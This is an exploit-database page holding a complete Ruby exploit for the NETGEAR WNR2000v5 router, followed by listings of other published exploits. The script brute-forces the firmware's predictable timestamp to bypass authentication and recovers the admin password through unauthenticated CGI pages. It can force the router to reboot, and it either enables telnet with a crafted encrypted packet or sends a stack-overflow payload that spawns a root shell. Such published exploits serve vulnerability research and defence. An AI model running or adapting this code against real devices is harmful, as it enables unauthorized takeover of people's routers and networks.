Menu

Search for hundreds of thousands of exploits

"NETGEAR WNR2000v5 - Remote Code Execution"

Author

Exploit author

"Pedro Ribeiro"

Platform

Exploit platform

cgi

Release date

Exploit published date

2016-12-21

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
#
# Remote code execution in NETGEAR WNR2000v5
# - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
# Released on 20/12/2016
#
# NOTE: this exploit is "alpha" quality and has been deprecated. Please see the modules
# accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000
#
#
# TODO:
# - randomise payload

require 'net/http'
require 'uri'
require 'time'
require 'digest'
require 'openssl'
require 'socket'

####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c

TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3

@randtbl =
[
  # we omit TYPE_3 from here, not needed
  -1726662223, 379960547, 1735697613, 1040273694, 1313901226,
  1627687941, -179304937, -2073333483, 1780058412, -1989503057,
  -615974602, 344556628, 939512070, -1249116260, 1507946756,
  -812545463, 154635395, 1388815473, -1926676823, 525320961,
  -1009028674, 968117788, -123449607, 1284210865, 435012392,
  -2017506339, -911064859, -370259173, 1132637927, 1398500161,
  -205601318,
]

@unsafe_state = { 
  "fptr" => SEP_3,
  "rptr" => 0,
  "state" => 0,
  "rand_type" => TYPE_3,
  "rand_deg" => DEG_3,
  "rand_sep" => SEP_3,
  "end_ptr" => DEG_3
}

# Emulate the behaviour of C's srand
def srandom_r (seed)
  state = @randtbl
  if seed == 0
    seed = 1
  end
  state[0] = seed
  
  dst = 0
  word = seed
  kc = DEG_3
  for i in 1..(kc-1)
    hi = word / 127773
    lo = word % 127773
    word = 16807 * lo - 2836 * hi
    if (word < 0)
      word += 2147483647
    end
    dst += 1
    state[dst] = word
  end
  
  @unsafe_state['fptr'] = @unsafe_state['rand_sep']
  @unsafe_state['rptr'] = 0
  
  kc *= 10
  kc -= 1
  while (kc >= 0)
    random_r
    kc -= 1
  end
end
  
# Emulate the behaviour of C's rand  
def random_r
  buf = @unsafe_state
  state = buf['state']
  
  fptr = buf['fptr']
  rptr = buf['rptr']
  end_ptr = buf['end_ptr']
  val = @randtbl[fptr] += @randtbl[rptr]
  
  result = (val >> 1) & 0x7fffffff
  fptr += 1
  if (fptr >= end_ptr)
    fptr = state
    rptr += 1
  else
    rptr += 1
    if (rptr >= end_ptr)
      rptr = state
    end
  end
  buf['fptr'] = fptr
  buf['rptr'] = rptr
  
  result
end
#####################

#####################
# Ruby code ported from https://github.com/insanid/netgear-telenetenable
# 
def telnetenable (username, password)
  mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,"\x00")
  username_pad = username.ljust(0x10, "\x00")
  password_pad = password.ljust(0x21, "\x00")
  cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")

  md5 = Digest::MD5.new
  md5.update(cleartext)
  payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')

  secret_key = "AMBIT_TELNET_ENABLE+" + password
  cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
  cipher.key_len = secret_key.length
  cipher.key = secret_key
  cipher.padding = 0
  binary_data = (cipher.update(payload) << cipher.final)
  
  s = UDPSocket.new
  s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)
end
#####################

# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
  [number].pack('f').unpack('f*')[0].to_i
end


# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
  srandom_r time
  t0 = random_r
  t1 = 0x17dc65df;
  hi = (t0 * t1) >> 32;
  t2 = t0 >> 31;
  t3 = hi >> 23;
  t3 = t3 - t2;
  t4 = t3 * 0x55d4a80;
  t0 = t0 - t4;
  t0 = t0 + 0x989680;

  ieee754_round(t0)
end

# Default credentials for the router
USERNAME = "admin"
PASSWORD = "password"

def get_request(uri_str)
  uri = URI.parse(uri_str)
  http = Net::HTTP.new(uri.host, uri.port)
  #http.set_debug_output($stdout)
  request = Net::HTTP::Get.new(uri.request_uri)  
  request.basic_auth(USERNAME, PASSWORD)
  http.request(request)
end

def post_request(uri_str, body)
  uri = URI.parse(uri_str)
  header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
  http = Net::HTTP.new(uri.host, uri.port)
  #http.set_debug_output($stdout)
  request = Net::HTTP::Post.new(uri.request_uri, header)  
  request.basic_auth(USERNAME, PASSWORD)
  request.body = body
  http.request(request)
end

def check
  response = get_request("http://#{@target}/")
  auth = response['WWW-Authenticate']
  if auth != nil
    if auth =~ /WNR2000v5/
      puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
      return
    elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
      puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
      return
    end
  end
  puts "Router is not vulnerable."
end

def get_password
  response = get_request("http://#{@target}/BRS_netgear_success.html")
  if response.body =~ /var sn="([\w]*)";/
    serial = $1
  else
    puts "[-]Failed to obtain serial number, bailing out..."
    exit(1)
  end
  
  # 1: send serial number
  response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")

  # 2: send answer to secret questions
  response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
    "submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
  
  # 3: PROFIT!!!
  response = get_request("http://#{@target}/passwordrecovered.cgi")
  
  if response.body =~ /Admin Password: (.*)<\/TD>/
    password = $1
  else
    puts "[-] Failed to obtain admin password, bailing out..."
    exit(1)
  end
  
  if response.body =~ /Admin Username: (.*)<\/TD>/
    username = $1
  else
    puts "[-] Failed to obtain admin username, bailing out..."
    exit(1)
  end
  
  puts "[+] Success! Got admin username #{username} and password #{password}"
  return [username, password]
end

def get_current_time
  response = get_request("http://#{@target}/")

  date = response['Date']
  Time.parse(date).strftime('%s').to_i
end

def get_auth_timestamp(mode)
  if mode == "bof"
    uri_str = "http://#{@target}/lang_check.html"
  else
    uri_str = "http://#{@target}/PWD_password.htm"
  end
  response = get_request(uri_str)
  if response.code == 401
    # try again, might fail the first time
    response = get_request(uri_str)
    if response.code == 200
      if response.body =~ /timestamp=([0-9]{8})/
        $1.to_i
      end
    end
  end
end

def got_shell
  puts "[+] Success, shell incoming!"
  exec("telnet #{@target.split(':')[0]}")   
end

if ARGV.length < 2
  puts "Usage: ./netgearPwn.rb <IP:PORT> <check|bof|telnet <MAC>> [noreboot]"
  puts "\tcheck: see if the target is vulnerable"
  puts "\tbof: run buffer overflow exploit on the target"
  puts "\ttelnet <mac>: run telnet exploit on the target, needs MAC address"
  puts "\tnoreboot: optional parameter - don't force a reboot on the target"
  exit(1)
end

@target = ARGV[0]
mode = ARGV[1]

if (ARGV.length > 2 && ARGV[2] == "noreboot") || (ARGV.length > 3 && ARGV[3] == "noreboot")
  reboot = false
else
  reboot = true
end

if mode == "telnet"
  if ARGV.length == 3
    @mac = ARGV[2]
  elsif ARGV.length == 4
    @mac = ARGV[3]
  else
    puts "[-] telnet mode needs MAC address argument!"
    exit(-1)
  end
end

# Maximum time differential to try
# Look 5000 seconds back for the timestamp with reboot
# 500000 with no reboot
if reboot
  TIME_OFFSET = 5000
else
  TIME_OFFSET = 500000
end

# Increase this if you're sure the device is vulnerable and you're not getting a shell
TIME_SURPLUS = 200

if mode == "check"
  check
  exit(0)
end

if mode == "bof"
  def uri_encode (str)
    "%" + str.scan(/.{2}|.+/).join("%")
  end

  def calc_address (libc_base, offset)
    addr = (libc_base + offset).to_s(16)
    uri_encode(addr)
  end
  
  system_offset = 0x547D0
  gadget = 0x2462C
  libc_base = 0x2ab24000
  
  payload = 'a' * 36 +                                                                 # filler_1
    calc_address(libc_base, system_offset) +                                           # s0
    '1111' +                                                                           # s1
    '2222' +                                                                           # s2
    '3333' +                                                                           # s3
    calc_address(libc_base, gadget) +                                                  # gadget
    'b' * 0x40 +                                                                       # filler_2
    "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh"         # payload
end

# 0: try to see if the default admin username and password are set
timestamp = get_auth_timestamp(mode)

# 1: reboot the router to get it to generate new timestamps
if reboot and timestamp == nil
  response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes")
  if response.code == "200"
    puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..."
    sleep 120
    puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply."
    sleep 60
  else
    puts "[-] Failed to reboot the router. Bailing out."
    exit(-1)
  end

  puts "[*] Proceeding..."
end

# 2: get the current date from the router and parse it, but only if we are not authenticated...
if timestamp == nil
  end_time = get_current_time
  if end_time <= TIME_OFFSET
    start_time = 0
  else
    start_time = end_time - TIME_OFFSET
  end
  end_time += TIME_SURPLUS

  if end_time < (TIME_SURPLUS * 7.5).to_i
    end_time = (TIME_SURPLUS * 7.5).to_i
  end

  puts "[+] Got time #{end_time} from router, starting exploitation attempt."
  puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)."
end
    
if mode == "bof"
  uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp="
  body = "submit_flag=select_language&hidden_lang_avi=#{payload}"
else
  uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp="
  body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2"
end  

# 3: work back from the current router time minus TIME_OFFSET
while true
  for time in end_time.downto(start_time)
    begin
      if timestamp == nil
        response = post_request(uri_str + get_timestamp(time).to_s, body)
      else
        response = post_request(uri_str + timestamp.to_s, body)
      end
      if response.code == "200"
        # this only occurs in the telnet case
        credentials = get_password
        telnetenable(credentials[0], credentials[1])
        sleep 5
        got_shell
        #puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}"
        #puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!" 
        exit(0)
      end
    rescue EOFError
      if reboot
        sleep 0.2
      else
        # with no reboot we give the router more time to breathe
        sleep 0.5
      end
      begin
        s = TCPSocket.new(@target.split(':')[0], 23)
        s.close
        got_shell
      rescue Errno::ECONNREFUSED
        if timestamp != nil
          # this is the case where we can get an authenticated timestamp but we could not execute code
          # IT SHOULD NEVER HAPPEN
          # But scream and continue just in case, it means there is a bug
          puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code."
          puts "[*] Let's try again..."
          timestamp = get_auth_timestamp
        end
        next
      end
    rescue Net::ReadTimeout
      # for bof case, we land here
      got_shell
    end
  end
  if timestamp == nil
    start_time = end_time - (TIME_SURPLUS * 5)
    end_time = end_time + (TIME_SURPLUS * 5)
    puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}"
  end
end

# If we get here then the exploit failed
puts "[-] Exploit finished. Failed to get a shell!"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-19 "Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection" webapps cgi "Gabriele Zuddas"
2020-10-29 "Mailman 1.x > 2.1.23 - Cross Site Scripting (XSS)" webapps cgi "Valerio Alessandroni"
2020-04-23 "Zen Load Balancer 3.10.1 - Directory Traversal (Metasploit)" webapps cgi "Dhiraj Mishra"
2020-04-10 "Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal" webapps cgi "Basim Alabdullah"
2020-03-30 "Zen Load Balancer 3.10.1 - Remote Code Execution" webapps cgi "Cody Sixteen"
2020-02-11 "CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting" webapps cgi Luca.Chiou
2019-09-09 "Rifatron Intelligent Digital Security System - 'animate.cgi' Stream Disclosure" webapps cgi LiquidWorm
2019-07-12 "Citrix SD-WAN Appliance 10.2.2 - Authentication Bypass / Remote Command Execution" webapps cgi "Chris Lyne"
2019-02-18 "Master IP CAM 01 3.3.4.2103 - Remote Command Execution" webapps cgi "Raffaele Sabato"
2019-02-11 "Smoothwall Express 3.1-SP4 - Cross-Site Scripting" webapps cgi "Ozer Goker"
Release Date Title Type Platform Author
2019-08-21 "Cisco UCS Director_ Cisco Integrated Management Controller Supervisor and Cisco UCS Director Express for Big Data - Multiple Vulnerabilities" remote multiple "Pedro Ribeiro"
2018-01-22 "AsusWRT Router < 3.0.0.4.380.7743 - LAN Remote Code Execution" remote hardware "Pedro Ribeiro"
2017-03-24 "NETGEAR WNR2000v5 - 'hidden_lang_avi' Remote Stack Overflow (Metasploit)" remote hardware "Pedro Ribeiro"
2017-01-31 "Billion / TrueOnline / ZyXEL Routers - Multiple Vulnerabilities" webapps hardware "Pedro Ribeiro"
2016-12-21 "NETGEAR WNR2000v5 - Remote Code Execution" remote cgi "Pedro Ribeiro"
2016-08-10 "WebNMS Framework Server 5.2/5.2 SP1 - Multiple Vulnerabilities" webapps jsp "Pedro Ribeiro"
2016-08-05 "NUUO NVRmini2 / NVRsolo / Crystal Devices / NETGEAR ReadyNAS Surveillance Application - Multiple Vulnerabilities" remote hardware "Pedro Ribeiro"
2016-04-11 "Novell ServiceDesk 6.5/7.0.3/7.1.0 - Multiple Vulnerabilities" webapps jsp "Pedro Ribeiro"
2016-02-04 "NETGEAR NMS300 ProSafe Network Management System - Multiple Vulnerabilities" webapps hardware "Pedro Ribeiro"
2015-09-29 "Kaseya Virtual System Administrator (VSA) - Multiple Vulnerabilities (2)" webapps asp "Pedro Ribeiro"
2015-09-28 "Kaseya Virtual System Administrator (VSA) 7.0 < 9.1 - (Authenticated) Arbitrary File Upload" webapps asp "Pedro Ribeiro"
2015-09-28 "BMC Track-It! 11.4 - Multiple Vulnerabilities" webapps windows "Pedro Ribeiro"
2015-07-15 "Kaseya Virtual System Administrator (VSA) - Multiple Vulnerabilities (1)" webapps windows "Pedro Ribeiro"
2015-06-10 "SysAid Help Desk 14.4 - Multiple Vulnerabilities" webapps hardware "Pedro Ribeiro"
2015-06-10 "ICU library 52 < 54 - Multiple Vulnerabilities" local multiple "Pedro Ribeiro"
2015-04-08 "Novell ZENworks Configuration Management 11.3.1 - Remote Code Execution" webapps jsp "Pedro Ribeiro"
2015-02-09 "ManageEngine OpManager / Applications Manager / IT360 - 'FailOverServlet' Multiple Vulnerabilities" webapps multiple "Pedro Ribeiro"
2015-01-18 "Lorex LH300 Series - ActiveX Buffer Overflow (PoC)" dos hardware "Pedro Ribeiro"
2015-01-15 "ManageEngine Desktop Central - Create Administrator" webapps multiple "Pedro Ribeiro"
2014-12-03 "ManageEngine Netflow Analyzer / IT360 - Arbitrary File Download" webapps multiple "Pedro Ribeiro"
2014-11-10 "ManageEngine OpManager / Social IT Plus / IT360 - Multiple Vulnerabilities" webapps jsp "Pedro Ribeiro"
2014-11-10 "Password Manager Pro / Pro MSP - Blind SQL Injection" webapps multiple "Pedro Ribeiro"
2014-11-09 "ManageEngine OpManager / Social IT Plus / IT360 - Multiple Vulnerabilities" webapps multiple "Pedro Ribeiro"
2014-11-05 "ManageEngine EventLog Analyzer - Multiple Vulnerabilities (2)" webapps multiple "Pedro Ribeiro"
2014-10-12 "Pimcore CMS 1.4.9 <2.1.0 - Multiple Vulnerabilities" webapps hardware "Pedro Ribeiro"
2014-10-12 "CMS Made Simple 1.11.9 - Multiple Vulnerabilities" webapps php "Pedro Ribeiro"
2014-10-12 "GetSimple CMS 3.3.1 - Cross-Site Scripting" webapps php "Pedro Ribeiro"
2014-10-09 "BMC Track-It! - Multiple Vulnerabilities" webapps windows "Pedro Ribeiro"
2014-10-02 "ManageEngine OpManager / Social IT - Arbitrary File Upload (Metasploit)" remote java "Pedro Ribeiro"
2014-09-01 "ManageEngine Desktop Central - Arbitrary File Upload / Remote Code Execution" webapps jsp "Pedro Ribeiro"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.